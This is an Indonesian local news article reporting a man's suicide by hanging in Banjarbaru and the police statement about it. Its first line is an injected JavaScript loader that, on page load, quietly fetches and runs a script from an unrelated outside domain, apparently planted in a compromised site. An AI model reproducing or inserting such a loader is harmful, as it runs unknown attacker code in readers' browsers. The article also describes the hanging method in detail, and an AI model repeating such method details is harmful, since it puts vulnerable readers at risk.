(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kronologi Lelaki Gantung Diri di Guntung Paikat Banjarbaru, Polisi Sebut Murni Bunuh Diri

KANALKALIMANTAN.COM, BANJARBARU – Penemuan lelaki gantung diri dekat Tempat Pembuangan Sementara (TPS) Guntung Paikat, Kelurahan Kemuning, Kota Banjarbaru, disebitu polisi murni bunuh diri.

Hariyanto alias Heri (28) warga ber-KTP Papua nekat mengakhiri hidupnya dengan gantung diri di dahan pohon ketapang cendana dekat TPS Guntung Paikat.

Hal ini disampaikan Kapolres Banjarbaru AKBP Dody Harza Kusuma melalui Kasi Humas AKP Tajudin Noor yang menerangkan Heri ditemukan tergantung di dahan pohon ketapang cendana yang berada di depan sebuah rumah. Kondisi Heri saat ditemukan dengan posisi di atas sepeda motor Suzuki Smash warna hitam Nopol DA 4332 JC.

“Benar, murni mengakhiri hidupnya dengan gantung diri,” ujar AKP Tajudin kepada Kanalkalimantan.com, Sabtu (13/8/2022) siang.

Adapun kejadian penemuan jasad Heri, bermula sekitar pukul 06.00 Wita, Sabtu (13/8/2022) pagi, saksi Dhesy ketika bangun tidur dan membuma pintu rumah mendapati Heri tergantung di dahan pohon ketapang dengan posisi tubuh di atas sepeda motor Suzuki Smash.

Sebelumnya Heri sempat bertamu di rumah Dhesy, mengobrol cukup lama dari pukul 18.30-21.00 Wita, Jumat (12/8/2022). Setelah itu mereka berdua sempat ke salah satu konter Hp di Balitan untuk memperbaiki Hp milik Heri, kemudian sekitar pukul 22.00 Wita kembali ke rumah Dhesy hingga pukul 23.00 Wita. Karena dirasa sudah larut malam, Dhesy lantas menyuruh Heri untuk pulang.

“Ternyata Heri tidak mau pulang dan Dhesy meninggalkan pelaku di depan rumahnya,” katanya.

“Kemudian cukup lama Heri mengetuk pintu rumah dari pukul 02.00 Wita hingga 04.00 Wita dini hari, namun Dhesy enggan keluar dan meninggalkannya untuk tidur,” tambahnya.

Paginya, lanjut Kasi Humas, sekitar pukul 06.00 Wita, Heri ditemukan oleh Dhesy yang saat itu baru bangun, gantung diri di atas sepeda motor.

Lantas apa penyebab pelaku nekat mengakhiri hidupnya, hingga saat ini belum ada yang mengetahui.

“Untuk lengkapnya menyusul dalam proses lebih lanjut,” sebut Kasi Humas.

Sementara itu, dari informasi yang diterima Kanalkalimantam.com di instalasi pemulasaran jenazah RS Idaman Kota Banjarbaru, di tubuh pelaku tidak ditemukan tanda-tanda kekerasan di tubuh korban.

Emergency Alif, Dandy mengatakan, jasad gantung diri ditemukan terikat seutas kabel listrik di dahan pohon.

“Tergantung pada seutas kabel listrik,” ujarnya.

Kemudian, jasadnya langsung dimakamkan di TPU Cempaka dibawa menggunakan mobil jenazah RS Idaman Kota Banjarbaru.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie